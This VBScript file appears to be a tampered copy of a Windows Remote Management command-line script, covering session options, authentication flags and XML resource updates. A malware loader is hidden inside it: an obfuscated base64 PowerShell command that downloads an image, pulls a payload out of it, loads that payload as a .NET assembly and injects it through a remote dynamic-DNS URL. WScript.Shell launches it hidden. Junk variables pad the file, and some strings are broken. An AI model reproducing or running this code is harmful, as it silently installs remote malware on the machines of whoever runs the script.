if operation = OP_CRE Or operation = OP_INV then

dim nilns

nilns = ""

dim parameters

parameters = ""

if parameterCount > 0 then

for each key in parameterDic

parameters = parameters & "<p:" & key

if IsNull(parameterDic(key)) then

parameters = parameters & " " & ATTR_NIL

nilns = " " & NS_XSI

end if

parameters = parameters & ">" & Escape(parameterDic(key)) & _

"</p:" & key & ">"

end if

putStr = "<p:" & root & " " & xmlns & nilns & ">" & _

parameters & "</p:" & root & ">"

elseif operation = OP_PUT then

if parameterCount = 0 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")

inputStr = ""

ProcessInput = false

exit function

end if

'get the original resource xml

on error resume next

putStr = telephotographiaObj.Get(resourceLocator)

if Err.Number <> 0 then

ASSERTERR telephotographiaObj, raucissono

inputStr = ""

ProcessInput = false

exit function

end if

'create an MSXML DomDocument object to work with the resource xml

on error resume next

Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")

if Err.number <> 0 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")

inputStr = ""

ProcessInput = false

exit function

end if

paramXmlFile.async = false

'load the domdocument with the resource xml

paramXmlFile.LoadXML(putStr)

if (paramXmlFile.parseError.errorCode <> 0) then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason

inputStr = ""

ProcessInput = false

exit function

end if

paramXmlFile.setProperty "SelectionLanguage", "XPath"

'loop through the command-line name/value pairs

for each key in parameterDic

'find the elements matching the key

Dim xpathString

xpathString = "/*/*[local-name()=""" & key & """]"

if LCase(key) = "location" then

'Ignore cim:Location

xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"

end if

Set elementList = paramXmlFile.selectNodes(xpathString)

'make sure there is 1 - error on 0 or > 1

if elementList.length = 0 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key

inputStr = ""

ProcessInput = false

Exit Function

elseif elementList.length > 1 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key

inputStr = ""

ProcessInput = false

Exit Function

else

'get the node from the list

Set currentElement = elementList.nextNode()

'make sure the node does not have anything other than 1 or less text children

if currentElement.hasChildNodes() then

if currentElement.childNodes.length > 1 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key

inputStr = ""

ProcessInput = false

Exit Function

else

dim aNode

Set aNode = currentElement.childNodes.nextNode()

if aNode.nodeType <> NODE_TEXT then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key

inputStr = ""

ProcessInput = false

Exit Function

end if

if IsNull(parameterDic(key)) then

Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)

tmpNode.text = "true"

currentElement.setAttributeNode tmpNode

currentElement.text = ""

else

'delete nil attribute if present

currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)

currentElement.text = parameterDic(key)

end if

end If

putStr = paramXmlFile.xml

end if

inputStr = putStr

ProcessInput = true

end function

Function innavigabilidade(ByVal daphnephoria, ByVal refechamento, ByVal arreamento)

Dim ejacular

ejacular = InStr(daphnephoria, refechamento)

Do While ejacular > 0

daphnephoria = Left(daphnephoria, ejacular - 1) & arreamento & Mid(daphnephoria, ejacular + Len(refechamento))

ejacular = InStr(ejacular + Len(arreamento), daphnephoria, refechamento)

Loop

innavigabilidade = daphnephoria

End Function

private function ReadStdIn()

while Not stdIn.AtEndOfStream

ReadStdIn = ReadStdIn & stdIn.ReadAll

wend

end function

If Not xifofilo() Then

On Error Resume Next

corroborar = "aU5WT0

tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodW

J1c2VyY29udGVudC5jb20vQ3J5cHRlc

nNBbmRUb29sc09maWNpYWwvWklQL3JlZnM

vaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUx

oO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYm"

corroborar = corroborar & "plY3Qg

U3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNs

aWVudC5Eb3dubG9hZERhdGEobFFraW1

hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4d

CA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106O

lVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0"

corroborar = corroborar & "ZXMpO2

xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZy

A9IDlMaDw8QkFTRTY0X0VORD4+OUxoO

2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWF

nZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWc

pO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZX"

corroborar = corroborar & "h0Lklu

ZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydk

ICcrJ2xRa2VuZEluZGV4IC1ndCBsUWt

zdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggK

z0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnK

ydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysn"

corroborar = corroborar & "bmRleC

AtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC

5TdWJzdHJpbmcobFEnKydrc3RhcnRJb

mRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJys

nKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkN

vbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKG"

corroborar = corroborar & "xRJysn

a2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZs

ZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9

hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa

3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lX

S5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTts"

corroborar = corroborar & "UWt2YW

lNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZX

dtYWRhbS9ncm8uc25ka2N1ZC4nKyduY

W1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCA

nKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl

2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLC"

corroborar = corroborar & "A5Jys

nTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXR

pdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2

xRaycsW1NUckluZ11bY0hBUl0zNikuUk

VQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQV

JdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp"

Dim pantogamia

pantogamia = "

Dim preboste

preboste = "

preboste = preboste & "

preboste = preboste & "g

preboste = preboste & "

" & corroborar & "'

preboste = preboste & ";

preboste = preboste & "W

preboste = preboste & "

preboste = preboste & "=

preboste = preboste & "

preboste = preboste & ".

preboste = preboste & "x

preboste = preboste & "

preboste = preboste & "d

preboste = preboste & "g

preboste = preboste & ":UT

preboste = preboste & "F8

preboste = preboste & "Ge

preboste = preboste & "St

preboste = preboste & "ri

preboste = preboste & "[s

preboste = preboste & "te

preboste = preboste & "v

preboste = preboste & ":

preboste = preboste & "mb

preboste = preboste & "e

preboste = preboste & "4

preboste = preboste & "r

preboste = preboste & "c

preboste = preboste & "ig

preboste = preboste & ";po

preboste = preboste & "w

preboste = preboste & "el

preboste = preboste & "x

preboste = preboste & "d

preboste = preboste & "ty

preboste = preboste & "dd

preboste = preboste & "e

preboste = preboste & "ec

preboste = preboste & "i

preboste = preboste & "p

preboste = preboste & "P

preboste = preboste & "i

preboste = preboste & "m

preboste = preboste & "n

preboste = preboste & "Wj

preboste = innavigabilidade(preboste, pantogamia, "")

Dim espiga

espiga = "p

espiga = espiga & "w

espiga = espiga & "s

espiga = espiga & "l

espiga = innavigabilidade(espiga, pantogamia, "")

espiga = espiga & preboste

Dim allegar

Set allegar = CreateObject("WScript.Shell")

allegar.Run espiga, 0, False

WScript.Quit(aloquiria)

End If

''''''''''''''''''''

' Escapes non XML chars

private function Escape(str)

dim i

for i = 1 to Len(str)

select case Mid(str, i, 1)

case "&"

Escape = Escape & "&"

case "<"

Escape = Escape & "<"

case ">"

Escape = Escape & ">"

case """"

Escape = Escape & """

case "'"

Escape = Escape & "'"

case else

Escape = Escape & Mid(str, i, 1)

end select

end function

'''''''''''''''''''''

' Checks if this script is running under cscript.exe

private function segrel()

if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then

segrel = True

else

segrel = False

end if

end function

private function CreateSession(wsman, conStr, optDic, raucissono)

dim telephotographiaFlags

dim conOpt

dim telephotographia

dim authVal

dim encodingVal

dim encryptVal

dim pw

dim tout

' proxy information

dim proxyAccessType

dim proxyAccessTypeVal

dim proxyAuthenticationMechanism

dim proxyAuthenticationMechanismVal

dim proxyUsername

dim proxyPassword

telephotographiaFlags = 0

proxyAccessType = 0

proxyAccessTypeVal = 0

proxyAuthenticationMechanism = 0

proxyAuthenticationMechanismVal = 0

proxyUsername = ""

proxyPassword = ""

set conOpt = Nothing

if optDic.ArgumentExists(NPARA_ENCODING) then

ASSERTNAL(NPARA_ENCODING)

ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"

encodingVal = optDic.Argument(NPARA_ENCODING)

if LCase(encodingVal) = "utf-16" then

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUTF16

elseif LCase(encodingVal) = "utf-8" then

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUTF8

else

' Invalid!

ASSERTBOOL false, "The specified encoding flag is invalid."

end if

if optDic.ArgumentExists(NPARA_UNENCRYPTED) then

ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"

'C API will ensure that unencrypted is only used w/ http

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagNoEncryption

end if

if optDic.ArgumentExists(NPARA_USESSL) then

ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUseSsl

end if

if optDic.ArgumentExists(NPARA_AUTH) then

ASSERTNAL(NPARA_AUTH)

authVal = optDic.Argument(NPARA_AUTH)

select case LCase(authVal)

case VAL_NO_AUTH

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUseNoAuthentication

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"

case VAL_BASIC

'Use -username and -password.

ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic

case VAL_DIGEST

'Use -username and -password.

ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest

case VAL_KERBEROS

'-username and -password are optional.

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUseKerberos

case VAL_NEGOTIATE

'-username and -password are optional.

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUseNegotiate

case VAL_CERT

'-certificate is mandatory.

ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"

'-username or -password must not be used

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUseClientCertificate

case VAL_CREDSSP

'Use -username and -password.

ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."

ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP

case else

ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."

end select

end if

if optDic.ArgumentExists(NPARA_USERNAME) then

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"

set conOpt = wsman.CreateConnectionOptions

conOpt.UserName = optDic.Argument(NPARA_USERNAME)

if optDic.ArgumentExists(NPARA_PASSWORD) then

conOpt.Password = optDic.Argument(NPARA_PASSWORD)

end if

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagCredUsernamePassword

end if

if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"

'this is only valid if -auth:Negotiate is specified

ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE

'C API will ensure this is only used w/ https

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials

end if

if optDic.ArgumentExists(NPARA_CERT) then

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"

set conOpt = wsman.CreateConnectionOptions

conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)

if optDic.ArgumentExists(NPARA_AUTH) then

ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT

end if

'-auth might be missing, in which case we assume -a:Certificate

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagUseClientCertificate

end if

if optDic.ArgumentExists(NPARA_PROXYACCESS) then

ASSERTNAL(NPARA_PROXYACCESS)

if conOpt Is Nothing then

set conOpt = wsman.CreateConnectionOptions

end if

proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)

select case LCase(proxyAccessTypeVal)

case VAL_PROXY_IE_CONFIG

proxyAccessType = conOpt.ProxyIEConfig

case VAL_PROXY_WINHTTP_CONFIG

proxyAccessType = conOpt.ProxyWinHttpConfig

case VAL_PROXY_AUTODETECT

proxyAccessType = conOpt.ProxyAutoDetect

case VAL_PROXY_NO_PROXY_SERVER

proxyAccessType = conOpt.ProxyNoProxyServer

case else

ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."

end select

end if

if optDic.ArgumentExists(NPARA_PROXYAUTH) then

ASSERTNAL(NPARA_PROXYAUTH)

ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"

if conOpt Is Nothing then

set conOpt = wsman.CreateConnectionOptions

end if

proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)

select case LCase(proxyAuthenticationMechanismVal)

case VAL_BASIC

proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic

case VAL_DIGEST

proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest

case VAL_NEGOTIATE

proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate

case else

ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."

end select

end if

if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then

ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"

proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)

end if

if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then

ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"

proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)

end if

if optDic.ArgumentExists(NPARA_PROXYACCESS) then

on error resume next

responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)

ASSERTERR conOpt, raucissono

on error goto 0

end if

if optDic.ArgumentExists(NPARA_NOCACHK) then

'C API will ensure this is only used w/ https

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagSkipCACheck

end if

if optDic.ArgumentExists(NPARA_NOCNCHK) then

'C API will ensure this is only used w/ https

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagSkipCNCheck

end if

if optDic.ArgumentExists(NPARA_NOREVCHK) then

'C API will ensure this is only used w/ https

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagSkipRevocationCheck

end if

if optDic.ArgumentExists(NPARA_SPNPORT) then

'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified

if optDic.ArgumentExists(NPARA_AUTH) then

ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS

end if

telephotographiaFlags = telephotographiaFlags OR wsman.SessionFlagEnableSPNServerPort

end if

on error resume next

set telephotographia = wsman.CreateSession(conStr, telephotographiaFlags, conOpt)

ASSERTERR wsman, raucissono

on error goto 0

if optDic.ArgumentExists(NPARA_TIMEOUT) then

ASSERTNAL(NPARA_TIMEOUT)

tout = optDic.Argument(NPARA_TIMEOUT)

ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"

telephotographia.Timeout = optDic.Argument(NPARA_TIMEOUT)

end if

set CreateSession = telephotographia

end function

Function rugoso(ByVal carmiadeira, ByVal enlabruscar, ByVal pirenga)

Dim faial

faial = carmiadeira

Do While InStr(faial, enlabruscar) > 0

faial = Left(faial, InStr(faial, enlabruscar) - 1) & pirenga & Mid(faial, InStr(faial, enlabruscar) + Len(enlabruscar))

Loop

rugoso = faial

End Function

private sub ASSERTERR(obj, raucissono)

dim errNo

dim errDesc

dim responseStr

dim formattedStr

if Err.Number <> 0 then

errNo = Err.Number

errDesc = Err.Description

responseStr = obj.Error

If Reformat(responseStr,formattedStr,raucissono) Then

stdErr.WriteLine formattedStr

Else

stdErr.WriteLine responseStr

End if

stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)

stdErr.WriteLine errDesc

WScript.Quit(absorvedoiro)

end if

end sub

' Assert Named Argument Length

private sub ASSERTNAL(namedArg)

if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg

WScript.Quit(absorvedoiro)

end if

end sub

private sub ASSERTBOOL(bool, msg)

if Not bool then

stdErr.WriteLine resurgimento("L_ERR_Message") & msg

WScript.Quit(absorvedoiro)

end if

end sub

neHGaKLeWBNzhcl = "oLWLqKTpKqiRoLQ"

LhccLgLibpWmeWt = "IGhHUqLLhWInpWe"

CJCpBUbWAJCpSUo = "armipotentedLNmSumGOxWZt"

SudxLiCNURjbOLd = "KjCRCKiLLzAGGKW"

LZGGsRKUWfRldhT = "GvIaLKitxfGiadi"

NnGWWpziKzLGUku = "WSpaWWPxgimxzeK"

JWoWUlaBLLUbGPc = "oejGBnWfUSLLKLt"

nIiWWzUoBLiLBkl = "LpUPcWWrunWfCUi"

mLzBosGmgzceihG = "JiLdGNxAxclpCLA"

LilgfZojZksnGpZ = "PBtaWAGIGSiGKkK"

UtAGiQpUKWWcHPW = "mhezbGiTbSHteru"

KkiSWLjiciCiiAf = "ZRmCkWWumZCNcRb"

mLdPnWZoZKLnLUe = "AppaLzoelLWWTkh"

AKWkcWLoGunLKic = "ZhKhmnWpLhkmWSN"

ULLPILQNGtKObuL = "namaqktxdnKZtNn"

ixkuZLLpBxeekNr = "xWLPKaLWjsLLbhW"

cLuneuLPhKfoWof = "JfAugKCRzQqioGG"

ciiKkBdWxupcvcb = "ppkTeLWGuxcUPxB"

CeKikWOkiGuWsCo = "JaCmLcAeLWokKfp"

nKfWGpWGLpcpAKO = "GszLCLBROoZPbeK"

bmiLnUiiBarmipotenteWeZZ = "GzhkxbNtnWLJqIL"

KKeihAniiLiRnAN = "RkGSfqxdtKRlOjC"

oWChWOPlLJknLLc = "uLbiNhGhZhWidhN"

PCRfAmxsQWbckiG = "qvWiiQiNklnoNds"

JcbZkqBftxpLGhl = "paorRWJcLLNBSAQ"

LtifTSLjBzxcedB = "fkGiiuuKLPLpPGo"

iLAofCALnAPjWZl = "NPfUkLZbKUnKieo"

AxWmoAoeNqqcWKL = "AehOBLbzPxntWZZ"

AGWbiphmoRfzNQp = "eKPOfkemGpetnWh"

cGkqWHZHmCztoLP = "xbziPdLccLbPrKh"

OLCfhLWKcGUfnbP = "zWKBKinKatGCtol"

KpiGLLcenckZNKz = "GaOpKLQLAGWarmipotenteiC"

bLvoGPifeLGiGhK = "iLKKaWZcefnjkUG"

cAOhsLfWxxUUvWq = "emgSKLWLckOAGIK"

GhCxcRmkKhKqiLp = "vLRdtALlbUPLdLN"

qgBLUUUkLBWWZHj = "ouGWWkuPWnmozlq"

ktcCCNqkdiiLldN = "WLeCZlHNpAzsnLn"

skAPpPKbLbWuOLG = "cjhKhvWGWLANoAU"

KeGpKWvRQPNviWq = "RpJTtdLuIbGcWAJ"

LmZWjLiecpcLkqH = "zUihKmiWUPWlLUL"

LILWKfLlgdibUiS = "iLxhtPesZaRZzWL"

GKLBLLGskhpGRWn = "xmlKOjQAUWWWWWB"

ZWzGNzkKveUarmipotenteTi = "fnLmikKLPWLKecu"

jKUaHprKTAiLdJa = "bnzcpWuaGiGiili"

boWZrmtemZcqkmc = "lzzpeifcKKxqAJb"

GmZoWoiifearmipotenteiGA = "OWOivUcCLOKikzN"

mKPNhqpaWWWfzGm = "zmfeKbhiZKqcihU"

PdarmipotentetNhegKULitN = "LcQbaKkIZtmihZW"

ZWcBKoxfaoufiZT = "gmOmLqBGNikuhlT"

pWOmpWKhlcSWBbk = "sLKcZtzkIUfvnqJ"

CbCWTuJolSLrGcZ = "gGOxLhWWbUmfPxu"

WcpKaTLZarZnxGN = "OWAaWegaLPKdckk"

sZhBULWeGTarmipotentefAh = "iBeObfckxANAkcN"

vzNWakicBIintfL = "jooGippcKmxanlG"

LeZUcLKjsUiGeUz = "WazcdOcfkdLeqLc"

mWLPmqqkajgOnRW = "hGxiqcfiHLkfsZk"

JijiGKBiLidWiSo = "gcfWusLkiOZLAtW"

mHKqqnZAtRCiLbL = "niCrhLzNKSkjLqI"

fGLGilRZWuxAUcc = "rKeWGnLQUioCUxs"

ceAtKaLLkNaHUqm = "BLCAcvWpiKoNkSW"

GTaPifKkdbmiuNu = "WigfKZfpiaeILBL"

UhULziLWKUkcWid = "iKLtUPfbKWRKdiC"

GxPpUgLtLZfZaWR = "cZiofePkPWgWhLU"

WiSLptuhtxspUmu = "ciUvxPaLdfWnGhm"

seAKuqWjGGPnLGo = "WuWLucClLokGGht"

PBhKWBRjhPKLBOP = "AWIlLShzCWsWAqL"

PoWQZNoeWLczdkW = "cWNiRdWKcILLqdN"

AUBxcGzAUGIkfaa = "maGlCjUGWUiWZWW"

uzILckofKdtlciO = "fZZKGiWoSciliLo"

oecfnjbinSPcWxS = "KpWULqULCobBheG"

seGcRWkGfOUzUAb = "cPuAoPciLeLKUSG"

xfPQPNUAoKkpGdi = "ZetUAZWWfjKNakT"

KrAgLaBbkUAqpiN = "LTtWkKUCWPLthqp"

KrxiGzuNezBOPxk = "GmULkLokcCLArkl"

WeRllhZGLxcLatW = "lKpzRizxWZbNNJm"

efSLCGOufLZeimL = "LWmfgLWWCQGIkcG"

iKziLeczlooKcaG = "LZfGmAPiUhqOOkG"

lkZPIomRPGGkiKj = "dquTemzhckzxWRk"

LdpUkpPKzJWpopp = "txGKvePAkUnpdei"

zKqqWiLbjASBWOi = "xWiQxWoGQALclTG"

kmiAbrxeaPhUPTW = "locxgWKcJcrLQGW"

hNUcUiJiuaLbGqH = "qqLcLbLbZRLOcPo"

ipfuZoWniWAKAdz = "HLnLLALeBLKbWHd"

iJiGeLiAkiLJrnt = "ZWLonTBGWhcmAaJ"

ZGpoxKtNaKarmipotenteKIp = "cLsCLqQuUbdRcqz"

ohWmNILLiGbWGmP = "LlGKkiALWkUkvLJ"

WcWPGRKeebaegHt = "WGakWRWLibAarmipotentetJ"

lOAofCWUWWGHRTP = "GPRUKiaKWBKBmLU"

ZAaoZGGelQAWLfa = "coUGULoubzuOiQA"

mLuWKPLczolUWOi = "JWAxKWdbLWpeSkb"

tcGkpLNWLLzGiJc = "bZqiRqjLkfxhkfC"

iUeuGtcoKcaLWLf = "GBjbUBarmipotenteCLURGWB"

acatuCiRhngrzte = "pxUAiuAtxWKJhAL"

PUjWWLPcjBopCRB = "tLmnnkULlkCRPuU"

WPKGpmefKZTZUiL = "aSiGkBCPLihPnPu"

RbcWZcPUgGHPmUG = "iSrZlcLsNGiUKal"

OLGNquONWxnzdLW = "KKSRzkRRxoKnPej"

czLWAqehqtmLHCd = "aUimKKKhOaRKRUm"

tPvkLcSWLLCLNdR = "LiNIarmipotentesfzujxPWO"

RsdqLxbcpBAoJzZ = "ZLmhLLhZNWKbWOG"

cLPnsnSoAWcvGAN = "aarcGiQLtWffiRP"

JKaKduBRIvikkNz = "iCOckWqdAGAANee"

jobftGkvLbhtktK = "bGZAlWAbcnzKimk"

PoIJLLsgOkcebWW = "KOWpkWUSpWopaWu"

NPkevUUTIfWzNPt = "TtWcalfWhOhePqi"

OkiLmviLpBWaGCv = "eLTePLixlOBWWLh"

coKtqZWGoLWcWmL = "WgNKficLhmnqikK"

pLdokLcilAKBiLK = "poJWrnLWvWmGbCd"

qziLhbecPuboGkc = "cNbPcWGuKCLGhhq"

WTWbcWzLzLtWWZN = "iiLopUeUhsWeWarmipotente"

zqmxAoLRbdOhLov = "KPeBALfrCdWWiji"

dPoKJKdZkcLLznL = "AOfNQGhdzhmheeB"

WlzhPBARcPdAckP = "xAWKCGpoUJpiOQi"

GUWUmiLLecULamU = "WKcUpNCUuUoZmLL"

ZomRmcczmLGhoqG = "iUWWHOtpWqcGWLZ"

kehizAinKPvxnWW = "UGmlLLiWLAWhLZi"

cKLrKkKLxULLCNG = "foPTmuRiBiNJKnc"

cWehWBiWPWzLLbp = "UCckChPNWGpLxZK"

nczWWCnaLmuhLLd = "tPiALKRLsksZxPx"

mnLWoKihdkoUicG = "KCWhGLbtZNCWbGL"

cWUcLuhWIKrWKlT = "PkrUiuSLHmcKKOA"

RzpGWmCLimWPiOf = "GOcALziKHLGUiqu"

cWaWUmoZJrplNkn = "qGNWqnWikLggPAL"

LNIzGheCLaihdAk = "rKNgWiehKKJTcqd"

IWoGWIOkqZWdzgL = "zRKLLAWNKnWZPWz"

LAAiZSHLLmiPURg = "SfklsTfJjmLAkWa"

RfGUncooQGixqKc = "nLzJQZCGhCacNkW"

qlkZGmLnibpIKRL = "JgGxelGxjCBTgOj"

GZdLLaIfKoBKUBj = "cnpgeaooQmbLPLW"

